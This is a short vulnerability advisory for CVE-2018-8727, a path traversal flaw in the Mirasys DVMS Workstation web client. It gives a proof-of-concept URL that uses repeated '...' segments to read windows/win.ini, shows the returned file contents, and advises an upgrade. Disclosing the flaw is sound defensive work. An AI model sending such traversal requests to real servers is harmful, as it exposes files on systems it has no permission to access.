Mirasys DVMS Workstation 5.12.6 - Path Traversal

# Exploit Title: Path Traversal in Gateway in Mirasys DVMS Workstation <= 5.12.6  
# Date: 10-06-2018
# Exploit Author: Onvio, Dick Snel, https://www.onvio.nl
# Vendor Homepage: https://www.mirasys.com/
# Software Link: https://www.onvio.nl/binaries/mirasys_5_12_6.zip
# Version: <= 5.12.6
# Tested on: Windows 10 Pro x64
# CVE : CVE-2018-8727

1. Description

Path Traversal in Gateway in Mirasys DVMS Workstation <= 5.12.6 allows an attacker to traverse the file system to access files or directories via the Web Client webserver.

More detail on the exploit: https://www.onvio.nl/nieuws/cve-mirasys-vulnerability

2. Proof of Concept

http://localhost:9999/.../.../.../.../.../.../.../.../.../windows/win.ini
; for 16-bit app support [fonts] [extensions] [mci extensions] [files] [Mail] MAPI=1 

3. Solution

Upgrade to any version > 5.12.6